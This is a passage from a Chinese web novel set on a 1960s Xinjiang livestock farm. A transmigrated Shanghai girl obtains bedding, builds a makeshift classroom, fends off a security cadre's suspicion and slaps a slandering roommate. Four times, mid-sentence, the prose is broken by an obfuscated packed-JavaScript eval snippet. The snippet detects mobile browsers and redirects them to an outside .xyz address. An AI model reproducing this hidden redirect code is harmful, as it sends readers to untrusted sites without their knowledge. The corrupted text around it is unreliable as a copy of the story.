眼泪涌上来,又被她狠狠用手背抹去。哭?哭给谁看?哭给周巧珍听,好让她明天再添油加醋地嘲讽她吗? 她咬紧牙关,强迫自己闭上眼睛,把身体蜷缩起来,尽量减少接触那硌人的床铺的面积。熬。只能熬下去。熬到天亮。 天,终究是亮了。 地窝子里的人陆续起身,窸窸窣窣地穿衣、叠被。舒染感觉全身像散架了一样。她撑着坐起来,低头看了看手臂内侧,果然有几道被草席边缘割出的红痕。 “舒染同志,昨晚睡得还行吧?”王大姐一边麻利地收拾着自己的铺盖,一边关切地问。 “还行。”舒染扯出笑容,嗓子干哑得厉害。她不想示弱,尤其是在周巧珍那若有似无瞟过来的目光下。 舒染没跟她们一起去食堂。她用搪瓷缸子从门口一个半埋在地下的水桶里舀出些浑浊的水,潦草地抹了把脸。 舒染走到自己铺位前,目光扫过通铺上其他女伴的床。 王大姐那边铺着一层厚厚的的旧棉絮,棉絮边缘磨损得厉害,露出里面同样发黄的旧棉花,上面盖着一块洗得发白的蓝格粗布床单。虽然简陋,但看着就软和。 周巧珍的铺盖则更硬气些,是一块厚实的羊毛毡子直接铺在草席上,边角用粗麻线缝得密密实实 李秀兰的床上也垫着厚厚的帆布。只有她舒染的铺位上,是光秃秃的草席直接覆盖在麦草芦苇垫子上。 她不死心,从樟木箱里翻出几件从上海带来的厚呢外套和毛线衣,一件件铺在草席上,她甚至把一条厚羊毛围巾也铺了上去。 然而,当她小心翼翼地躺下试了试—— “嘶……”尖锐的刺痛从腰臀传来,麦草芦苇那的硬梗,穿透了衣物扎着她的背。衣服的褶皱和不平整,硌得她难受。 她猛地坐起身。没有褥子做最基本的缓冲,在这硬板通铺上,人根本不可能得到像样的休息。而休息不好,怎么有精神面对工作?她甚至怀疑,这样硬撑下去,用不了几天,自己这身骨头就得散架。 想到这些,她爬起来,凭着昨天的记忆,朝着连部旁边那片相对繁华一点的区域走去。 那里有几间土坯房,挂着供销社、卫生室之类的牌子。 供销社的门脸很小,土坯墙上用白灰歪歪扭扭写着“为人民服务”几个大字。里面光线昏暗,货物也少得可怜。货架上稀稀拉拉摆着些肥皂、火柴、针头线脑、颜色灰暗的布匹,角落里堆着些农具。 一个戴着套袖的中年女售货员正低头打着算盘。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361279|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同志,”舒染清了清干涩的喉咙,“请问,有棉花褥子卖吗?” 女售货员抬起头,上下打量了舒染一眼,目光在她身上停留了一瞬,随即了然地垂下眼皮,手指在算盘珠子上拨了一下:“棉花?布?没票没条子,想都别想!团领导批条子也没用,没货!定量早分完了!” 棉花票?布票?特批条子? 舒染的心沉了下去。她一个刚报到的新人,哪来的票证?连长昨天只给了她宿舍的条子,可没提褥子这茬。 她看着售货员那张公事公办的表情,知道再问下去也是徒劳。 “那……买点棉花和布,自己做呢?”她退而求其次。 “一样。”女售货员头也不抬,“棉花、棉布,都要票。没票,没条子,啥也没有。” 舒染有点崩溃。难道夜夜都要忍受那又扎又硌的草席? 她抱着最后一丝希望走向连部。也许连长那里有别的办法。或者至少,登记一下她的困难。 就在她快走到连部门口时,那个挺拔的身影恰好从挂着特殊符号的土坯房里走出来。 是陈远疆。 他依旧穿着那身深蓝色的制服,帽檐压得很低,遮住了部分眉眼,只露出线条凌厉的下颌。 一个念头出现在舒染的脑海——张干事昨天说陈远疆是师部保卫处的干部,现在临时兼管一下新人的安置报到…… 她深吸一口气,压下心头的忐忑,一步跨出,直直地拦在了陈远疆面前的小路上。 陈远疆脚步一顿,停了下来。目光带着惯有的审视,落在舒染略显苍白的脸上。他等着她开口。 “陈干事,”舒染强迫自己与之对视,“陈干事,我刚去供销社询问购买褥子事。按规定,需要棉花票、布票以及连队签批的条子。我初来乍到,没有票证。” 她顿了顿,带着一种公事公办的汇报口吻:““昨晚在地窝子我几乎无法入睡。我理解环境艰苦,但这样的状态,”她微微加重了语气,“恐怕难以保证明天工作的正常开展和质量。连队娃娃们的教育是大事,不能因为我个人的适应问题耽误了。请问陈干事,连里对于新报到人员,尤其是承担教学任务的,在基本生活保障方面,是否有临时的……帮扶措施或通融办法?” 空气仿佛凝滞了一瞬。 陈远疆的目光落在舒染的脸上,扫过她眼底的青影,评估着她话语里的分量和潜在的风险。 沉默了几秒。陈远疆依旧面无表情,但手已经伸进了制服上衣口袋,掏出一本旧牛皮纸便签簿和半截铅笔头。 他就站在路中间,顶着阳光侧过身,用后背挡住些许风沙,低下头。捏着那截小小的铅笔头,在便签簿上飞快地划动了几下。 写完,他干脆地撕下那张纸,两根手指夹着,递到舒染面前。 舒染接过那张纸片。 纸上,是遒劲的字迹: 连部: 新报到教师舒染同志,反映基本睡眠保障困难,影响明日教学工作。 请按《新职工临时困难补助暂行办法》,酌情处理,保障其基本工作状态。 拟从连队备用物资中调剂棉花拾斤、粗布一丈。 下面是一个力透纸背的签名:陈远疆。 “谢谢陈干事!”舒染捏紧那张纸条,声音带着激动和感激。 “拿着这个,去找张保管员。在库房西侧备用物资区领取。”陈远疆交代完,将铅笔头和便签簿塞回口袋,绕开舒染,身影很快消失在土坯房的拐角。 舒染没耽搁,立刻朝着连队库房的方向快步走去。 5. 第 5 章 库房门口,一个穿着油渍工装的老保管员正蹲在地上修补一个破麻袋。 舒染快步上前,礼貌地打了个招呼:“老师傅,您好!我是新来的舒染,才分配到连里。” 老保管员抬起头打量着她,认出是那个“成分不好”的上海小姐,眉头皱起,语气带着不耐烦。“什么事?提前和你说好啊,没有上面开的条子,什么东西都不能给你!” 舒染直接把手里那张纸条递了过去,“保管员,麻烦您。陈远疆干事批了这个,让我来库房领点东西。” “陈干事批的?”老保管员明显愣了一下,怀疑地接过纸条。他凑近了,一个字一个字地仔细辨认着纸上的内容。当看到“陈远疆”的签名时,他脸上的不耐烦消失了,用探究的眼神看向她。 他把那张纸条翻来覆去看了两遍,尤其盯着“《新职工临时困难补助暂行办法》”和“保障教学工作”那几个字看了好一会儿,才说:“哦……哦……是这么回事啊。” 他甚至带上了一点客套,“保障教学,那是大事,大事!这规定我知道!”说完他利索地站起身,从腰间一大串钥匙里挑出一把黄铜钥匙。 “跟我来吧。”他示意舒染跟上,走到库房侧面一个木门前。这门同样挂着铁锁。 “咔哒”一声,锁开了。老保管员推开木门,一股尘土混着霉味扑面而来。里面光线昏暗,只有高处一个小气窗透进几缕光柱。 这里堆放的物品不多,但也落满了厚厚的灰尘。舒染看到角落里堆着几卷军用毛毡,几捆用油布包裹的备用绳索,一些工具配件,还有一些用厚麻袋装着的鼓鼓囊囊的东西,看形状似乎是棉花包。 老保管员走到一个麻袋垛前,指着其中一个看起来还算完整的麻袋:“喏,棉花。备用物资,登记过的。”他又指了指旁边货架上叠放着的几匹布,“布也在这儿。” 可以看出来,那些粗布颜色灰扑扑的,一看就是便宜厚硬的那种。 老保管员拿出一个登记本,翻到某一页,又掏出半截秃头铅笔,“来,舒同志,登记一下。姓名,领取物资名称,数量,用途,批条人……”他一项项指着本子上的表格。 舒染凑过去,在老保管员的指点下认真填写: 姓名:舒染 领取物资:粗棉拾斤,粗布一丈 用途:工作保障 批条人:陈远疆 领取人签字:舒染 日期:196X年X月X日 写完,她在“领取人签字”栏工工整整签下自己的名字。老保管员拿起登记本,对着舒染签的字和那张批条上的签名仔细比照了一下,确认无误。 这才走到麻袋垛前,解开那个麻袋口的麻绳。里面果然是压得瓷实的原棉。他拿出一个老旧的杆秤,手法熟练地称出十斤棉花。棉花是陈年旧棉,颜色发黄发硬,甚至有点板结有味道。 接着,他走到布匹前,量出一丈粗布,用一把大剪刀“咔嚓”一声利落地剪下。 “给,拿好了。”老保管员把棉花和粗布递给舒染,同时把那张批条收进了登记本里夹好。 “东西领了,用途也写清楚了,是正用,可别糟蹋了。”他语气里带着叮嘱。 “谢谢保管员!您放心,保证用在正地方!”舒染抱紧那堆来之不易的棉花和粗布走出了库房。老保管员在她身后锁门,嘴里嘟囔了一句:“备用库的东西……陈干事亲自批的条子……这新来的老师,是得有个能躺的地方……” 舒染假装没听见。她靠着自己在规则内的争取,在这个地方赢得了第一场小小的胜利。 现在,顺路去找生产主任赵卫东报到,落实工作。拿到“教师”这个护身符和立身之本,才是她在这个世界安身立命的关键。 凭着昨天连长的指向,舒染抱着东西在连队里转悠。畜牧连的布局很松散,除了几间功能性的土坯房,大部分都是半埋在地下的地窝子宿舍。 空地上堆着草料垛,拴着几匹骡马。几个男人扛着工具走过,好奇地看向抱着棉花布匹的舒染。 终于,在土坯房后面,她看到了一间门口挂着“生产办公室”木牌的房子。门开着,里面传来一个男人的声音,像是在下达命令: “……就这么定了!机器趴窝,人手不足,娃娃们放羊的放羊,捡柴火的捡柴火,哪有人手去管什么学校?认字?认字能当饭吃还是能出粮食?现在最要紧的是把渠道开出来!把荒地开出来!上面的开荒任务完不成,大家都得喝西北风!娃娃们的事,等秋收后再说!” 舒染在门口顿住脚步。这声音的主人,显然就是生产主任赵卫东。 她清了清嗓子,提高声音:“报告!新报到的支边青年舒染,来找赵卫东主任报到!” 屋里的声音戛然而止。 片刻,一个身影出现在门口。约莫四十岁,皮肤是长期风吹日晒的棕红色,戴着一副断了腿用胶布缠着的眼镜。 他脸上没什么笑容,只有被打断工作的不耐。这就是赵卫东。 看到舒染和她怀里抱着的棉花布匹,赵卫东眉头锁紧,眼神带着审视和疏离。 “哦,舒染同志?进来吧。”他侧身让开,一副公事公办地态度。 办公室里很简陋,旧木桌几乎被各种报表、生产进度图淹没,墙角放着十字镐和铁锹。 桌子后面还坐着一个黑红脸膛的中年汉子,正闷头卷着莫合烟,抬眼瞥了舒染一下,一副瞧不上她的样子。 “马技术员,这是新来的师范生,”赵卫东介绍道,又转向舒染,“这位是马技术员,管机务的。” 赵卫东没让舒染坐,自己也没坐。他拿起桌上一份皱巴巴的文件,对着光看了看,又放下,“舒染同志,你的情况连里知道。有文化,是好事。但现在连队的当务之急,”他手指敲在桌面的生产进度图上,一个标着“落后”的红圈格外刺眼,“是完成上面的硬指标!开荒、挖渠、引水、排碱、压沙……哪一样不要人手?哪一样能等?” 他目光转向舒染,“娃娃们?大的十二三岁,已经是半个劳力,放羊、拾粪、帮厨、送水,都能顶事!小的满地跑,你让谁去管?谁有那个闲工夫坐屋里听讲?识字?够用就行!会写名字,认得清工分本上的数字,会算十以内的加减法,不耽误将来干活记账,足够了!至于那些个……” 他嘴角向下撇了撇,带着轻蔑和不解,“写啊画啊歌啊舞的,那是锦上添花!戈壁滩上连粮食都还没种出来,搞那些花架子,不是浪费是啥?” 他顿了顿,语气带着说教的意味: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361280|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “边疆生存,生产第一!教育?那是吃饱了肚子以后的事!现在搞这个,就是跟生产抢劳力,拖全连完成任务的后腿!” 舒染心里翻了个白眼,这个赵卫东和她曾经的校领导如出一辙,简直就是个“绩效狂”。但她更清楚自己的处境。她不是来当圣人的,她是来求生的。 “赵主任,”舒染的声音平静,“教育不是花架子,也不是为了教诗画歌舞。” 她迎上赵卫东的目光,“连队要发展,光有力气不够。认了字,至少能看懂农药标签,知道兑多少水,别把苗烧死了!能算清楚自家的工分,记个简单的账,少出错少吃亏!就说眼前这排碱渠的图纸,要是将来咱们连队自己的娃娃能看懂一部分,是不是也能帮上技术员的忙,少等师部的人?” 她指了指外面的农具:“就说这些工具,说明书都看不懂,坏了怎么修?靠蒙?靠等机务队?时间成本算不算损失?” 赵卫东感到权威被挑战,他声音大起来:“那是以后的事!现在的要紧事是把地种上!没有眼前的口粮,谈什么将来?你说的那些,等戈壁滩变成粮川了,再搞不迟!” “赵主任,”舒染知道硬顶下去无益,语气放缓:“我理解连队生产任务重,人手紧张。但让我负责教育,是组织分配给我的工作,也是我能为连队做的最直接、最合适的贡献。而且,教育不一定要占用大块劳动时间。我们可以灵活安排,比如把课堂搬到地头边……” “搬到地头?哼!”赵卫东打断她,“舒染同志,你想法是不少,但连队有连队的规矩!生产有生产的秩序!你说搬就搬?出了安全问题谁负责?耽误了工时谁负责?大家都怎么看?都像你这样‘创新’,还要不要集中力量办大事了?”他特别强调了“创新”两个字,带着贬义和警惕。 气氛有些僵持。旁边的马技术员吐出一口烟圈,帮腔道:“老赵说得在理!娃娃们认字是好事,但得看时候!现在?瞎耽误工夫!” 舒染叹了口气,语气里带着自嘲和暗示:“赵主任,我是师范生,教书是我唯一擅长的东西。顶着‘资本家小姐’的身份标签,如果连这点用处都发挥不出来,我在连队待着,对大家、对我自己,恐怕都是个麻烦。” 赵卫东盯着舒染看了好几秒,似乎在评估她话里潜在的风险。 “行行行!”他像是赶苍蝇一样挥挥手,带着极大的不情愿,“连部后头,靠围墙那边,有个破工具棚,早不用了,四面漏风,屋顶都塌了半拉。你要是不嫌破,就自己去拾掇!地方给你了,但丑话说前头!” 他眼神严厉:“第一,绝对不准占用上工时间!娃娃们该干的活儿一点不能少;第二,安全第一!出了任何问题,你负全责;第三,不准影响连队正常秩序!要是惹出闲话或者耽误了生产,我随时收回地方!” “至于别的,”他指了指空荡荡的棚子方向,“啥也没有!自己想办法!连里没这个预算!生产经费一分一厘都要用在刀刃上!” “谢谢赵主任!”舒染立刻应下,不管条件多苛刻,地方到手就是胜利。她没再纠缠细节,果断离开办公室,朝着那个破工具棚走去。 身后,隐约传来赵卫东对马技术员的抱怨:“……尽整这些没用的!有这折腾的功夫,多开两亩荒不好吗?” 6. 第 6 章 所谓的“教室”,比舒染预想的最坏情况还要糟糕。 那是一个用土坯和红柳枝胡乱垒砌起来的棚子,破败地杵在连部后墙根下。墙壁上布满了裂缝和孔洞,屋顶覆盖的苇席和泥巴塌陷了大半。门板歪斜地挂在一侧,棚子里面空空荡荡。地上扔着一些破烂的农具零件、碎砖头和泥块。角落里甚至还有几堆风干的粪便。 这根本就是个废墟! 没有帮手,没有多余的物资。舒染深吸一口气,挽起袖子,露出白嫩的手臂。 她脱下列宁装外套,开始动手。弯腰捡拾角落里残留的碎石碎砖,一趟趟搬到棚子外堆起。 又找来一把秃了毛的破扫帚,用力清扫地面,尘土飞扬,呛得她直咳嗽,白皙的脸颊很快蒙上一层灰。 地面清洁地差不多了,她开始搬动散落的土坯,吭哧吭哧地垒在棚子靠墙的位置,试图垒出一个稳固些的讲台底座。 土坯磨得她掌心发红,指尖很快被划出了几道血口子,她只是皱了皱眉,甩甩手继续。 讲台底座垒得差不多了,她坐在上面稍作休息,紧接着拿起赵卫东让人送来的一块旧门板,费劲地抬到垒好的土坯上,又用找来的碎砖头垫平。这将是她的讲台。 做完这些,她拿起一桶劣质墨汁和一把秃毛刷子,对着门板一下下刷起来。 汗水混合着灰尘,在她脸上淌下道道痕迹。衬衫上沾满灰土,后背被汗水浸湿了一小块。 就在这时,棚子门口的光线被一个高大的身影挡住。 陈远疆不知何时出现在那里。他站在阴影里,看着棚子里忙碌的舒染。 她和档案里那个“资本家娇小姐”的形象,差距太大了。这种近乎自虐式的劳动投入,这种韧劲,是伪装?还是……他作为保卫干部的职业习惯让他对舒染的身份产生了怀疑。 舒染正费力地想把一摞土坯码齐,由于太过专注,没注意到门口的人。她再次弯腰去搬一块沉重的土坯,身体重心不稳,踉跄了一下。 “需要帮忙?”陈远疆的声音突兀地响起。 舒染吓了一跳,猛地直起身,这才发现门口的人。她下意识地把磨破的手往身后藏了藏,脸上满是窘迫,“不用,陈干事。快弄好了。” 陈远疆沉默了几秒,目光在她手上停留了一瞬,“赵卫东让你一个人收拾?” “地方是我要的,活儿自然该我干。”舒染理所当然地说:“连里生产任务重,不好再麻烦别人。”她拿起刷子,继续刷那块门板。 陈远疆没再说话,走进了棚子。他弯腰提起一块沉重地土坯放在她刚垒好的台基上。 “……”舒染愣了一下,看着他利落的动作,张了张嘴,最终只是低声说了句:“谢谢。” 陈远疆没回应,又帮她就继续搬着。棚子里只剩下土坯落地的闷响。 当讲台初步成型,舒染准备刷最后一部分门板时,陈远疆的声音再次响起:“舒染同志。” 他站在她身后两步远的地方,目光落在她沾满墨汁的侧影上,“你的档案里写着,上海‘舒丰源纱厂’舒家的女儿。曾经出门有汽车,进门有仆佣,弹钢琴,描香粉。据我所知,那样的家庭,别说搬土坯,怕是连扫帚都没摸过几回。” 他顿了顿,声音里听不出情绪“你这双手,这身力气,还有这股子劲头,可不像一个娇生惯养的大小姐该有的。” 他的目光审视着她。 舒染刷门板的动作顿住了。那档案里描述的娇小姐的生活是原主的,不是她的。一股被看穿的心虚感席卷了她。 她能怎么说,说她是来自21世纪的穿越者?估计会被当作疯子抓走。 她霍然转身,直面陈远疆审视的目光,带着一种豁出去的坦荡。 “陈干事,档案写的是过去!没错,我曾经是舒家的大小姐!以前我是没怎么干过活!但是,从我在闷罐车里醒来的那一刻起,从我知道自己被分配到这里教书的那一刻起,曾经的舒染就死了!” 她猛地抬起手,怼到陈远疆眼前,“你看清楚!这双手,今天搬了多少土坯?捡了多少砖?这手上的口子、墨汁、灰土,是我装的吗?是我那个资本家大小姐的身份能变出来的吗?!” 舒染瞪着陈远疆,声音中带着哽咽:“陈干事,我理解你,你怀疑一切是你的职业习惯,也是你的职责!你信也好,不信也罢,我舒染,就站在这里。档案是死的,人是活的!我过去没得选,但现在,我选这条路!我就走到底!用这双手,在这个地方,挣出一条活路,教好我能教的娃娃!” 她一口气说完,眼里蒙上了一层水汽,那双手却不肯落下。 陈远疆的目光,从她激愤的脸上移到手上。 棚子里陷入一片死寂。 陈远疆喉结滚动了一下,似乎想说什么,但最终,一个字也没能说出来。 他深深地看了舒染一眼,然后猛地转身,大步流星地离开了棚子,背影甚至带着一丝仓促。 舒染虚脱般靠着刚垒好的土台,滑坐到地上。她看着自己那双惨不忍睹的手,又看看这间由她亲手清理、布置起来的教室,眼泪终于汹涌而下。 内心深处那点属于二十一世纪的记忆,早已被眼前的一切冲刷得无影无踪。 舒染拖着几乎散架的身体回到女工宿舍的地窝子。 她小心翼翼地拿出棉花和粗布,开始缝制褥子。棉线和针在她手中穿梭,针脚歪歪扭扭,手指被勒出红痕。 王大姐看得直咂嘴:“哎哟,舒染同志,你这手真巧!一看就是有文化的,连针线活都会!” 周巧珍在一旁冷眼看着,目光在那厚实的棉花和被面上流连,酸溜溜地刺了一句:“资本家小姐嘛,以前在家使唤惯了佣人,现在自己动手,新鲜呗。就是不知道这棉花布匹,哪来的‘门路’?咱们可都没这待遇。”她故意把“门路”二字咬得很重。 李秀兰则凑过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361281|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸上堆着讨好的笑,伸手就想摸那厚实的棉花:“舒染姐,这棉花真好啊,又白又软!你手真巧!这褥子铺上肯定舒服死了!” 舒染没理会周巧珍的阴阳怪气,对李秀兰淡淡地说:“连里批的,保障教学任务。”她专注地缝着最后一针,将褥子铺在草席上。厚实柔软的触感包裹了疲惫的身体,她满足地喟叹一声。 这声满足的叹息扎在了周巧珍心上。她看着那床新褥子,再对比自己身下的旧铺盖,嫉妒心窜起。 她的语气带着恶意揣测:“哼!连里批的?谁知道是真是假?咱们连棉花票都紧巴巴的,凭什么就批给你了?别是仗着那张脸,用了什么见不得人的法子吧?有些人啊,骨子里就带着资本主义的脏病,到哪儿都改不了勾三搭四的毛病!这褥子,指不定沾着什么味儿呢!”她越说越恶毒,眼神死死盯着舒染。 空气瞬间凝固。王大姐脸色尴尬,李秀兰吓得缩回了手,目光在舒染和周巧珍之间来回扫视。 舒染慢慢抬起头,站起身,走到周巧珍的铺位前,居高临下地看着她,眼神凌厉。 “周巧珍,”舒染的声音不高,一字一顿地说:“你刚才说什么?” 周巧珍被她的气势慑了一下,随即梗着脖子,色厉内荏地嚷道:“我说什么你心里清楚!你这褥子来路不正!谁知道你是怎么弄来的?资本家小姐,除了会勾……” “啪!” 清脆响亮的耳光声在地窝子里炸响。 舒染根本没给周巧珍说完的机会。周巧珍被打得头一偏,脸上瞬间浮起清晰的五指印,她捂着脸,难以置信地瞪着舒染,懵了。 “这一巴掌,打你满嘴喷粪,污人清白!”舒染的声音冰冷,“你嫉妒我有褥子?行!”她猛地转身,几步走到自己铺位前,一把抓起那床棉花褥子,狠狠摔在周巧珍的脸上。 “睁开你的狗眼看清楚!”舒染指着褥子,“这棉花,是连里按《新职工临时困难补助暂行办法》批的!白纸黑字,用途是保障我明天有精力参加扫盲工作!这布,是最便宜的粗布!这针脚,是我自己一针一针缝出来的!” 她猛地伸出自己的手怼到周巧珍眼前,“看看!这就是你嘴里‘勾搭’来的?这就是你嘴里‘资本主义脏病’干出来的活儿?!” 地窝子里一片死寂,所有人都被震住了。 “我舒染,行得正坐得直!我的东西,每一分每一厘都来得清清楚楚!”舒染盯着周巧珍惨白的脸,也扫过其他舍友,“谁再敢造谣生事,污蔑诽谤,这一巴掌是轻的!我立刻拉她去连部,去保卫处!咱们把话当着领导的面说清楚!看看到底是谁思想肮脏,是谁在破坏团结,阻碍教育!” 她弯腰,一把将自己的褥子拽起来,用力拍打掉沾上的尘土,重新铺好。 周巧珍捂着脸,羞愤交加,嘴唇哆嗦着,却一个字也吐不出来。李秀兰吓得大气不敢出,王大姐则看着舒染,眼神里充满了惊讶和佩服。 7. 第 7 章 舒染在新褥子上睡了一会,再睁眼已是饥肠辘辘。 她看了看手表上的时间,已经是下午八点多了,因为时差的关系,新疆的天黑得晚,现在外面还是白天。 她拿起自己的搪瓷盆和勺子,走向连队食堂。 食堂里此刻已经排起了长队。掌勺的是个膀大腰圆,围着围裙的胖师傅,手里挥舞着一柄长柄的大铁勺。 舒染排到窗口。前面几个男职工打饭时,胖师傅手腕一抖,铁勺在桶底巧妙地刮了一圈,舀上来的糊糊稠得几乎能立住筷子,上面还颤巍巍地浮着几块油汪汪的羊肉。 轮到女职工,尤其是一些看起来瘦弱的,或者是新来的女青年时,那勺子就变得“轻盈”起来,只在糊糊表面浅浅一捞,清汤寡水,肉星子更是难觅踪影。 轮到舒染了。她递上自己的搪瓷盆。 胖师傅瞥了她一眼,眼神在她白皙的脸庞和干净的列宁装上溜了一圈,嘴角撇了撇。 果然,那柄大铁勺伸进糊糊桶,敷衍地在表面搅了搅,舀起一勺稀汤寡水的东西就要往她盆里倒。 就在那勺“清汤”即将落盆的瞬间—— “师傅!”舒染的声音清脆地响起,她一只手托着搪瓷盆,另一只手屈起食指和中指,在搪瓷盆边缘“铛!铛!铛!”地敲了三下。 声音不大,却异常突兀。周围瞬间安静了不少,排队的人都看了过来。 胖师傅的动作顿住了,勺子悬在半空,糊糊滴滴答答落回桶里。他拧着眉头,凶巴巴地瞪着舒染:“敲啥敲?后面还排着队呢!” 舒染没有丝毫惧色,反而露出一个真心求教的表情,“师傅,我就是有点疑惑,想跟您请教一下。” 她顿了顿,在胖师傅不耐烦的注视下,慢条斯理地问道:“师傅,麻烦您。请问今天的伙食定量标准是什么?每人糊糊多少?肉多少?我看前面几位男同志打的好像稠一些?” 胖师傅僵住,舒染又补一句:“三大纪律八项注意要求‘买卖公平’,咱们食堂给同志们分饭,是不是也该按量公平,一视同仁?” 胖师傅脸上的横肉一哆嗦,眼神里掠过一丝慌乱,这个看起来娇滴滴的资本家小姐竟然会当众搬出这个!周围排队的人,尤其是那些平时被打清汤的女职工,眼神都变了。 胖师傅的脸一阵红一阵白,众目睽睽之下,这帽子扣下来,这可不是闹着玩的! 他恶狠狠地剜了舒染一眼,手腕一沉,铁勺重重地捅进糊糊桶底,狠狠地搅动了几下,舀起满满当当的一大勺,上面堆着好几块羊肉,“哐当”一声,重重地扣进了舒染伸过来的搪瓷盆里。 “够了吧?!”胖师傅从牙缝里挤出几个字,恶狠狠地说。 “谢谢师傅!”舒染仿佛没看到他吃人的眼神,脸上绽开一个甜美的笑容,端着那盆晚饭,从容地转身离开窗口。 周围响起几声压抑的轻笑和低低的叫好声。 胖师傅气得胸口起伏,却又发作不得,只能把火撒在下一个打饭的人身上,勺子摔得咣咣响。 舒染端着满满的搪瓷盆,找了个角落的位置坐下。她拿起勺子,正准备享用这顿胜利果实,眼角的余光却瞥见门口光线一暗。 陈远疆地身影出现在食堂门口。他显然也刚忙完,目光习惯性地扫视着食堂内部,掠过人群,掠过窗口的胖师傅,最后落在了舒染面前那个堆得冒尖的搪瓷盆上。 随即,他的视线便移开了,他走向打饭窗口。 胖师傅看到陈远疆,脸上挤出了笑容,动作麻利地给他打了满满一大勺,肉放得格外多。 舒染低下头吃着羊肉。嗯,味道不错。这顿晚饭,吃得格外香。 她刚放下勺子,一个身影端着碗在她对面坐了下来。 “舒染同志?你好。” 舒染抬头。对面坐着一个年轻男人,大约二十五六岁,戴着一副很厚的眼镜,头发梳得一丝不苟,脸色带着一种书卷气。他碗里的糊糊很稀,只有零星一点咸菜丝。 “你好。”舒染礼貌地点点头,认出这是昨天在食堂见过的人之一。 “周文彬,”男人推了推眼镜,自我介绍,声音带着点南方口音,语调有些低沉,“师部农科所派下来的技术员,搞土壤改良的。” 他看了看舒染面前的空盆,又看看自己碗里的清汤寡水,嘴角扯出一个自嘲的苦笑,“还是舒染同志有办法。这鬼地方的伙食,真是清汤寡水,难以下咽。在上海的时候,哪里吃过这种东西?”他用筷子尖嫌弃地拨弄了一下碗里的咸菜丝。 他的语气里充满了抱怨和一种高人一等的失落,仿佛被流放到了蛮荒之地。 “上海”两个字带着诱惑力,戳中了她内心最隐秘的渴望。一股想要逃离这里的冲动被唤起。 她端着空盆的手指下意识地收紧,几乎控制不住想要附和。 她张了张嘴,那句“是啊,太难熬了”几乎要脱口而出。但话到嘴边,最终,她只是垂下眼帘应道:“……嗯,是不太一样。”。 她不想再听这些动摇意志的话,只想立刻离开这里。她收拾碗勺的动作有些急促:“周技术员慢用,我……我先走了。” 她有些仓促地转身,端着空盆快步离开了座位。 周文彬看着她背影,想再说什么,可舒染已经走远了。 舒染走出食堂,往连部后头那个刚收拾出来的破棚子走去。 她低着头,脑子里还在盘算着明天的“攻坚战”,拐过连部那排土坯房的阴影,视线里撞入一双翻毛皮鞋,停在她前方几步远的小路上。 舒染脚步一顿,心下意识地提了起来。她缓缓抬眼。 陈远疆就站在她面前,深邃的眼睛注视着她。他刚从食堂出来,看样子是回他那间挂着特殊符号的小屋。 舒染脚下不着痕迹地往旁边偏了半步,想从旁边绕过去。她不想和他再有交集。 “舒染同志。” 避无可避。舒染停下,微微侧身看向他,脸上没什么表情:“好巧啊,陈干事。” “不巧,”他向前走了两步,“我就是来找你的。” 舒染迎上他的目光,语气里带着防备:“有什么事吗?” 陈远疆的目光锐利了几分,掠过她的口袋。 “今天和你说话的周文彬,”他顿了一下,似乎在斟酌用词,但出口的话依旧带着冷硬,“他和你有同样的背景身份。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361282|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 舒染的脊背绷直了,她明白了他的潜台词。 “这与我有什么干系?”她的声音冷了下来。 陈远疆没料到她会顶回来,沉声道:“就是想提醒你一下,提高思想觉悟。”这话像是一种警告。 “多谢提醒。”舒染的回答得冷淡,“知道您是专门……管我们的想法的,但我们两个同类说两句话应该没犯什么错误吧?” 气氛陷入僵持。 短暂的沉默后,陈远疆再开口,语气里带着滞涩:“上次的事情……是我想当然了。” 舒染抬眼看他。这几乎算是一种变相的道歉?心头那点抵触泄了点气。 “……没事。”她最终只吐出两个干巴巴的字,移开了视线。 陈远疆似乎也不打算在这个话题上停留。他话锋一转,“启明小学,建设得怎么样了?” 舒染愣住了,茫然地看向他:“什么小学?”她怀疑自己听错了。这荒凉的畜牧连,除了她那个破棚子,哪来的小学? 